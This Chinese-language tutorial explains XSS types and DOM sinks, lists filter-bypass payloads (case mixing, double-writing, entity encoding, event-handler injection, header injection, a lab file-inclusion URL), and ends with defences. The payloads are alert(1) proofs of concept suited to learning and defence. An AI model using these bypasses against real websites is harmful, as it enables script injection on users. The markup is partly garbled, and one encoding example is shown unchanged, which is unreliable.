XSS漏洞全面解析与防御指南<\/h1>

XSS漏洞概述<\/h2>

跨站脚本攻击(XSS)是一种常见的Web安全漏洞，攻击者能够在受害者的浏览器中执行恶意脚本。XSS漏洞主要分为三种类型：<\/p>

反射型XSS<\/strong>：恶意脚本通过用户请求即时反射回浏览器执行<\/li>
存储型XSS<\/strong>：恶意脚本被存储在服务器上，随后在用户请求时发送到浏览器执行<\/li>

DOM型XSS<\/strong>：通过客户端脚本直接修改DOM引入恶意代码<\/li> <\/ol>
DOM型XSS详解<\/h2>
DOM型XSS是一种特殊类型的反射型XSS，基于文档对象模型(DOM)的漏洞。特点包括：<\/p>

完全在客户端执行，不涉及服务器交互<\/li>
通过操作HTML或CSS实现攻击<\/li>
利用HTML属性、方法和事件注入恶意代码<\/li> <\/ul>
常见DOM XSS触发点<\/h3>

document.referer<\/code>属性<\/li>
window.name<\/code>属性<\/li>
location<\/code>属性<\/li>
innerHTML<\/code>属性<\/li>
document.write<\/code>属性<\/li> <\/ol> XSS攻击向量与绕过技术<\/h2> 1. 基本攻击向量<\/h3> <\/span><\/span><iframe<\/span> src<\/span>=<\/span>"javascript:alert(1)"<\/span>><\/iframe<\/span>> <\/span><\/span><a<\/span> href<\/span>=<\/span>"javascript:alert(1)"<\/span>>click<\/a<\/span>> <\/span><\/span><\/code><\/pre>2. 无尖括号攻击<\/h3> ' onclick='alert(1)' <\/span><\/span>hello' onmouseover='javascript:alert(1)' <\/span><\/span>javascript:alert(1) <\/span><\/span><\/code><\/pre>3. 大小写绕过<\/h3> <Script<\/span>>alert<\/span>(1<\/span>);<\/Script<\/span>> <\/span><\/span><\/code><\/pre>4. 双写绕过<\/h3> " oonnclick="alert(1)" <\/span><\/span><\/code><\/pre>5. HTML实体编码绕过<\/h3> javascript:alert(1); 编码后: javascript:alert(1); <\/span><\/span><\/code><\/pre>6. 注释绕过<\/h3> \/\/ 把http:\/\/注释掉 <\/span><\/span><\/code><\/pre>7. 空格绕过替代方案<\/h3> %09<\/code> 水平制表符(Tab字符)<\/li> %0a<\/code> 换行<\/li> %0b<\/code> 垂直制表符<\/li> %0c<\/code> 换页符<\/li> %0d<\/code> 回车符<\/li> %a0<\/code> 不间断空格<\/li> <\/ul> 8. 无害探测标签<\/h3> <s<\/span>>123<\/s<\/span>> <\/span><\/span><h1<\/span>>123<\/h1<\/span>> <\/span><\/span><p<\/span>>123<\/p<\/span>> <\/span><\/span><\/tExtArEa<\/span>><h1<\/span>>123<\/h1<\/span>># <\/span><\/span><\/tExtArEa<\/span>><s<\/span>>123#tExtArEa><s<\/span>>123#\/\/--+<script<\/span>>alert<\/span>(1<\/span>);<\/script<\/span>> <\/span><\/span><\/code><\/pre>攻击入口点<\/h2> URL参数<\/strong>：直接注入到页面输出中<\/li> Referer头<\/strong>：可通过工具如Postman或BurpSuite修改<\/li> User-Agent头<\/strong>：伪造UA字符串包含恶意脚本<\/li> Cookie参数<\/strong>：如user字段可能被输出到页面<\/li> <\/ol> Referer攻击示例<\/h3> 在请求头中注入：<\/p> Referer: " type="text" onmousemove="alert(1) <\/code><\/pre> 文件包含攻击<\/h3> http:\/\/127.0.0.1\/xss\/level15.php?src='level1.php?name=<a href="javascript:alert(1)">' <\/code><\/pre> 防御措施<\/h2> 输入验证<\/strong>：严格验证所有用户输入<\/li> 输出编码<\/strong>：对输出到页面的数据进行HTML编码<\/li> CSP策略<\/strong>：实施内容安全策略限制脚本执行<\/li> HttpOnly标志<\/strong>：为敏感cookie设置HttpOnly<\/li> X-XSS-Protection头<\/strong>：启用浏览器内置XSS过滤器<\/li> 避免危险API<\/strong>：如innerHTML<\/code>、document.write<\/code>等<\/li> <\/ol> 总结<\/h2> XSS攻击手段多样且不断演进，防御需要多层次的安全措施。理解各种XSS类型及其攻击向量是构建有效防御的基础。开发人员应始终保持警惕，对所有用户输入进行严格处理和验证。<\/p>